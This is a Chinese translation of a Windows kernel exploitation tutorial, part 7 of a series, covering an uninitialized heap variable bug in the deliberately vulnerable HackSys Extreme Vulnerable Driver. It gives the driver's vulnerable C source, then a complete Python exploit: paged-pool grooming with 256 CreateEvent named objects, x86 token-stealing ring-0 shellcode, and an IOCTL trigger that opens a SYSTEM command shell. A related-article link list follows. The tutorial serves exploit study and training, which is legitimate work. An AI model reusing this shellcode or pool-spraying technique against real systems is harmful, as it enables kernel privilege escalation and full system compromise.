Windows核心漏洞利用教程 第7部分:未初始化的堆變數
前言
關於 windows 核心漏洞利用教程,玉涵已經將fuzzysecurity上的那部分翻譯完畢, 是很好的學習資料。 因為之前翻譯了池風水那篇文章,發現作者又接著更新了幾篇,所以就簡單地翻譯了一下本篇文章,學習一下。
概述
在上一篇文章中,我們研究了未初始化的棧變數漏洞。在這篇教程中,我們會討論類似的一個漏洞,未初始化的堆變數。在這篇教程,我們會修改分頁池,以便控制流可以指向我們的shellcode。
另外,對於hacksysteam的驅動程式表示萬分感謝!
分析
首先,我們先分析一下UninitializedHeapVariable.c檔案:
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) { ULONG_PTR UserValue = 0; ULONG_PTR MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE)); // Allocate Pool chunk UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE) ExAllocatePoolWithTag(PagedPool, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)POOL_TAG); if (!UninitializedHeapVariable) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(UNINITIALIZED_HEAP_VARIABLE)); DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable); } // 獲取使用者態傳進來的值 UserValue = *(PULONG_PTR)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable); // 驗證幻數值 if (UserValue == MagicValue) { UninitializedHeapVariable->Value = UserValue; UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback; // 使用`AAAAA...AA`填充快取區 RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41); // Null 終止 char 緩衝區 UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0'; } #ifdef SECURE else { DbgPrint("[+] Freeing UninitializedHeapVariable Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable); // 釋放分配的 Pool chunk ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG); // 安全提醒: 因為開發者將`UninitializedHeapVariable`的值設為`NULL`,並且在呼叫`callback`前檢查空指標,所以是安全的。 // 設為空以避免懸掛指標 UninitializedHeapVariable = NULL; } #else // 漏洞提醒: 因為開發者在呼叫`callback`函式前,沒有初始化指標的值,所以會導致一個未初始化的堆變數漏洞。 DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n"); #endif // 呼叫`callback`函式 if (UninitializedHeapVariable) { DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value); DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback); UninitializedHeapVariable->Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
程式碼雖然看著比較長,但是還是容易理解的。使用pool chunk的 地址初始化 變數UninitializedHeapVariable,如果UserValue等於Magic的話,那麼一切都沒有問題,value和callback欄位也可以被正確地初始化,然後程式在呼叫callback函式前會檢查變數是否被初始化。但是,如果不相等的話會怎麼樣呢?從程式碼來看,很明顯編譯的是SECURE版本, 變數UninitializedHeapVariable會被置為NULL, 所以在if宣告中,不會呼叫callback函式。而如果是編譯為不安全版本的話,則沒有類似這樣的檢查措施,然後會callback未初始化的變數,從而導致出現漏洞。
(譯註:secure 編譯相關的一些選項問題,可以參見微軟的官方文件)
接著,我們來看一下在UninitializedHeapVariable.h中_UNINITIALIZED_HEAP_VARIABLE結構體是如何定義的:
typedef struct _UNINITIALIZED_HEAP_VARIABLE { ULONG_PTR Value; FunctionPointer Callback; ULONG_PTR Buffer[58]; } UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
可以看到,上面的結構體中定義了3個成員變數,第二個是一個函式指標型別的變數,命名為callback,如果我們能想方設法地控制pool chunk上的資料的話,我們就能夠控制UninitializedHeapVariable結構體和callback函式。
可以在IDA中清楚地看到:
並且,IOCTL號為0x222033。
利用
和前幾篇一樣,繼續使用我們的指令碼框架:
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "\xb0\xb0\xd0\xba" bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main()
成功傳遞引數,沒有發生異常,我們試下傳遞一些其他的UserValue,看看會發生什麼。
可以看到出現了異常,並且Callback函式的地址似乎並非一個有效值,現在可以開始寫exploit了。
這裡最大的問題就是通過使用者空間可以控制的資料來修改分頁池,而我們可以使用的一個介面是Named Objects。如果你記得以前那篇關於池風水文章的話,就會想起我們曾使用[CreateEvent](https://msdn.microsoft.com/pl-pl/library/windows/desktop/ms682396(v=vs.85).aspx)物件來修改Lookaside連結串列:
HANDLE WINAPI CreateEvent( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, _In_ BOOL bManualReset, _In_ BOOL bInitialState, _In_opt_ LPCTSTR lpName );
這裡最重要的一點是,即使event物件本身被分配給非分頁池,最後那個LPCTSTR型別的引數lpName實際上也是在分頁池中分配的。並且,我們實際上可以定義它的內容和長度。
這裡還有幾點需要注意:
我們修改 的Lookaside連結串列會在系統啟動兩分鐘後延遲啟用。
(譯註:原文為:We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.
不過,我沒太理解這是什麼意思,希望懂的大神給解釋下。)
Lookaside連結串列的最大塊長是 0x20, 它只能管理256 個塊,之外的塊由ListHead負責管理。
我們需要分配256個相同大小的物件,然後釋放它們。如果Lookaside連結串列不能完成分配的話,會從ListHead連結串列中接著分配。
我們需要確保每次呼叫物件建構函式時物件名稱的字串都是隨機的,因為如果將相同的字串傳遞給物件建構函式的連續呼叫的話,那麼只有一個Pool chuck將被用於所有進一步的請求。
我們還需要確保我們的lpName不應該包含任何NULL字元,因為這會改變lpName的長度,導致exploit利用失敗。
我們給lpName分配 0xF0 的大小, 頭部大小為 0x8 ,一共是0xF8 位元組的塊,shellcode來源於之前的教程中。
我們最終的exploit 如下:
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): spray_event = [] kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) # 定義 ring0級的 shellcode, 使用 VirtualProtect() 函式 該表記憶體區域屬性。c # 地址中不能包含Null 字元,否則exp 會失效。 shellcode = ( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) shellcode_address = id(shellcode) + 20 shellcode_address_struct = struct.pack("<L", shellcode_address) print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address)) success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long())) if success == 0x0: print "\t[+] Failed to change memory protection." sys.exit(-1) #定義 lpName 的靜態部分, 大小為 0xF0, 根據 shellcode 的 地址 和 動態部分作出調整。 static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-8-4) # 分配 256 個 相同大小的 CreateEvent 物件 print "\n[+] Spraying Event Objects..." for i in xrange(256): dynamic_lpName = str(i).zfill(4) spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName))) if not spray_event[i]: print "\t[+] Failed to allocate Event object." sys.exit(-1) # 釋放 CreateEvent 物件 print "\n[+] Freeing Event Objects..." for i in xrange(0, len(spray_event), 1): if not kernel32.CloseHandle(spray_event[i]): print "\t[+] Failed to close Event object." sys.exit(-1) buf = '\x37\x13\xd3\xba' bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) print "\n[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main()
最終獲得系統管理員許可權:
原文連結:https://rootkits.xyz/blog/2018/03/kernel-uninitialized-heap-variable/
本文由看雪翻譯小組 fyb波 編譯
相關文章
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- 乾貨丨windows核心www漏洞利用手法2020-02-04Windows
- 利用redis未授權訪問漏洞(windows版)2021-05-30RedisWindows
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 《JVM第7課》堆區2024-11-06JVM
- 未初始化變數引發執行時故障2019-03-27變數
- 《MySQL 入門教程》第 17 篇 MySQL 變數2022-02-10MySql變數
- windows核心程式設計--記憶體堆疊2020-04-04Windows程式設計記憶體
- Go初始化變數的招式2019-02-16Go變數
- CentOS 7核心升級教程。2024-02-07CentOS
- Java變數的宣告和初始化2021-12-10Java變數
- 類成員變數的初始化2021-04-03變數
- Redis未授權訪問漏洞利用總結2018-07-06Redis
- [原創] 現實世界的堆漏洞利用圖鑑-2021-10-06更新2021-10-09
- 【Flutter 1-7】Flutter教程Dart語言——變數2020-11-16FlutterDart變數
- JS 變數儲存?棧 & 堆?NONONO!2019-11-15JS變數
- Metasploit漏洞利用基礎教程要出版了2019-03-12
- Python入門第7課——tuple變數(只讀課堂)2020-10-08Python變數
- 12-成員變數的初始化2019-02-15變數
- Web教程:7個CSS核心概念2022-05-31WebCSS
- 程式碼安全測試第二十八期:未使用的變數缺陷漏洞2021-06-29變數
- C# 變數初始化解析2021-04-30C#變數
- 第 3 節:變數2019-11-15變數
- 堆溢位的unlink利用方法2020-08-19
- 類的成員變數的初始化順序2018-09-03變數
- Hadoop Yarn REST API未授權漏洞利用挖礦分析2018-06-12HadoopYarnRESTAPI
- 利用NEO與Unity製作遊戲(第3部分)2018-12-10Unity遊戲
- 【記錄】windows7利用“DOSBox”使用“debug”的姿勢2018-10-23Windows
- C++11新初始化方法 使用{}初始化變數2024-09-04C++變數
- c++成員變數初始化2019-04-04C++變數
- 2.7.6 改變初始化引數值2020-03-13
- ctf pwn中的unlink exploit(堆利用)2018-03-05
- Dll堆疊問題(Dll的靜態變數與全域性變數、vs的MT與MD)2024-03-21變數
- 2.7.6.1 關於改變初始化引數的值2020-03-13
- Windows 7 Meltdown 補丁被發現嚴重漏洞 允許任意程式讀寫核心記憶體2018-03-29Windows記憶體
- [譯] Xcode 和 LLDB 高階除錯教程:第 3 部分2019-07-24XCodeLLDB高階除錯
- [譯] Xcode 和 LLDB 高階除錯教程:第 1 部分2019-06-20XCodeLLDB高階除錯
- [20210510]變態的windows批處理7.txt2021-05-12Windows